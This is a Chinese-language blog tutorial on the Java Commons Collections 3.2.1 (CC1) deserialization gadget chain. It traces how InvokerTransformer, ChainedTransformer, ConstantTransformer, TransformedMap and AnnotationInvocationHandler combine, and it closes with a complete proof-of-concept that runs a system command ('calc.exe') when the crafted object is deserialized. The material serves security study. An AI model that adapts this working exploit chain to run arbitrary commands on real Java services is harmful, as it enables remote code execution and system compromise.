可以去我的博客看看
环境
1.jkd8u65
下载地址:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
2.与oracle jdk对应版本的sun包
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/src/share/classes/sun
3.Commons Collections 3.2.1(版本高了可能就没漏洞了)
使用maven自动导包,在pom.xml里设置
依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
序列化、反序列化
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
链子的起点
因为反序列化要使用readObject
方法,所以我们的起点就是找在readObject
里调用的方法
而且不同的类的readObject
会不一样,因为他们会对其重写。
链子
AbstractInputCheckedMapDecorator =>
TransformedMap =>
ChainedTransformer =>
ConstantTransformer =>
InvokerTransformer =>
Runtime
InvokerTransformer.transform来执行命令
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();//获取类
Method method = cls.getMethod(iMethodName, iParamTypes);//获取方法
return method.invoke(input, iArgs);//执行方法
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
先用常规方法来获取Runtime类来执行命令,因为Runtime的构造方法是私有的
private Runtime() {}
所以他提供了getRuntime()
方法来获取对象
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}
正常调用Runtiem执行命令打开计算器
Runtime r=Runtime.getRuntime();
r.exec("calc.exe");
但是Runtime并没有继承Serializable
接口,所以不能使他序列化
所以我们要使用反射的方法来获取这个类,因为Class类继承了Serializable
接口,所以使用Class类的方法得到的对象就可以序列化
Class c=Runtime.class;
Method method=c.getMethod("getRuntime",null);
Runtime runtime=(Runtime) method.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");
这样就是通过反射来获取一个Runtime对象,从而执行命令打开计算器
这个代码结构就跟InvokerTransformer.transform()
里调用反射的的一样
Class cls = input.getClass();//获取类
Method method = cls.getMethod(iMethodName, iParamTypes);//获取方法
return method.invoke(input, iArgs);//执行方法
所以我们可以通过InvokerTransformer.transform()
来执行我们上面的代码
//获取getRuntime()方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//获得Runtime(实例)对象
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//执行命令打开计算器
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
【可以看出后面执行的语句都是使用前一个执行的结果作为参数,这个在后面会讲到该如何使用。】
这个就是我们链子的最后一部分,然后通过最后一部分来进行反推出有哪些地方调用了transform()
AbstractInputCheckedMapDecorator、TransformedMap
在TransformedMap.checkSetValue中调用了transform()
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
然后在AbstractInputCheckedMapDecorator.setValue中调用了checkSetValue()
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
且AbstractInputCheckedMapDecorator是TransformedMap的父类
然后看checkSetValue
中的valueTransformer
的值是由构造函数决定的
但是TransformedMap类的对象是通过他的decorate
方法类获得的,因为其构造函数为protected类型
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
所以我们需要构造一个TransformedMap
对象,且其valueTransformer
的值为InvokerTransformer
对象,这样在执行checkSetValue
的时候才会是执行InvokerTransformer.transform()
Map<Object, Object> map=new HashMap<>();
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
然后就是看AbstractInputCheckedMapDecorator.setValue方法
这个其实是在使用entrySet()
遍历map对象的时候进行设置value的值使用的
因为这个AbstractInputCheckedMapDecorator
是实现了Map接口的的
即重写了entrySet()
、setValue()
等方法
所以在对这个类的对象使用entrySet()
进行遍历的时候使用setValue()
方法,就会调用这个类里重写的setValue()
方法。
同时AbstractInputCheckedMapDecorator
类是TransformedMap
的父类,所以在对TransformedMap
的对象进行遍历的时候,调用setValue()
方法就会调用上文中所指的setValue()
方法。(可能有点绕)
我们对TransformedMap
对象使用entrySet()
来遍历
Map<Object, Object> map=new HashMap<>();
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
//遍历TransformedMap的对象
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(Runtime.class);
}
Map.Entry
是因为setValue
在他那个类里面
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
这个时候就可以来看一下链子是什么样的了
setValue
传进去的value参数,在checkSetValue(value)传进了checkSetValue
方法;
checkSetValue
的参数value又传进了transform
所以我们就知道传进setValue的参数就是最后transform
方法的参数。
但是有个一个问题,就是我们每次传值,只能调用一次InvokerTransformer.transform
,我们得找一个办法来使我们只要传一次值,就可以执行下面的三句InvokerTransformer.transform
方法
//获取getRuntime()方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//获得Runtime(实例)对象
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//执行命令打开计算器
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
ChainedTransformer循环执行
在ChainedTransformer.transform
他会执行Transformer数组里每个Transformer对象的transform
方法,并且将上一次执行的结果作为下一次执行的参数,在我们也只能控制第一次执行的参数的条件下,刚好符合我们的需求
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
而且ChainedTransformer
类可以序列化,同时和InvokerTransformer
类都实现了Transformer
接口,所以InvokerTransformer
类的对象就是Transformer对象
public class ChainedTransformer implements Transformer, Serializable {
public class InvokerTransformer implements Transformer, Serializable {
他的构造是公有类,所以可以直接构造,但是要先构造一个Transformer数组
【用InvokerTransformer数组也是一样的】
//创建Transformer数组
Transformer[] invokerTransforms = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);
这样我们把上面构造的transformedMap
对象里的valueTransformer
换成我们现在构造的chainedTransformer
对象就行了
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
然后找在那个类的readObject
方法中调用了setValue()
AnnotationInvocationHandler类的readObject()
我们在AnnotationInvocationHandler
类的readObject()
中发现他调用了setValue()
方法,而且他也实现了Serializable
接口,可以序列化,胜利就在眼前!
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //<============这里这里这里!!!!!!!!!
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们要先实例化这个类,由于他的构造函数是default
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
所以我们只能通过反射来获取这个类的实例,Annotation
是注解的意思
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationHandlerconstructor.setAccessible(true);
Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);
这个Target是java的注解,至于为什么用他,后面会说到,先看看Target的源码
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}
我们将获得的对象进行序列化再反序列化
serialize(o);
unserialize("ser.bin");
我们在调用setValue的时候有个if判断
我们对其进行分析
//获取我们传进去的Target.class的实例
annotationType = AnnotationType.getInstance(type);
//获取Target接口的成员,即ElementType[] value();
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//遍历Map变量,这个memberValues就是传进去的transformedMap对象,但是因为用了entrySet()
//所以这个遍历的就是transformedMap里的map属性,可以去看看上面对transformedMap对象
//的声明定义
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
//获取map里的键的值
String name = memberValue.getKey();
//在Target接口的成员里面找名字为name的成员
Class<?> memberType = memberTypes.get(name);
//判断是否找到了名字为name的成员
if (memberType != null)
总结一下,就是要让我们构造时传进去的Target.class
类的成员的名字
在传进去的transformedMap
的map属性的key里可以找得到。
因为Target
里有个value方法,所以我们给map赋值
map.put("value","wzx");
这样我们就可以进去if代码块了
进去之后还有个
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
memberType.isInstance(value)
就是问value能否强转为memberType的类型,当然不能,因为我map里的value是String类型,而memberType是Class 类型
value instanceof ExceptionProxy)
就是问value是否是ExceptionProxy这种类型
所以可以进入下一个代码块
然而又遇到个问题
他setValue
的参数是已经定好的,我们不可控,但是还是有办法的
ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
调用ConstantTransformer.transform,会返回我们给他传进去的那个对象
就是说,我们给他传参Runtiem.class
,那他也会返回一个Runtiem.class
这样我们在调用ChainedTransforme.transform()
的时候,就可以不用管他传进去的参数是什么了,因为反正我们也不会调用
修改Transformer数组的元素
Transformer[] invokerTransforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
//创建Transformer数组
Transformer[] invokerTransforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//创建ChainedTransformer实例
ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);
//创建Map实例map
Map<Object, String> map=new HashMap<>();
//给map添加键值对
map.put("value","wzx");
//创建TransformedMap实例
Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//实例化AnnotationInvocationHandler类
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationHandlerconstructor.setAccessible(true);
Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
//触发反序列化链
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}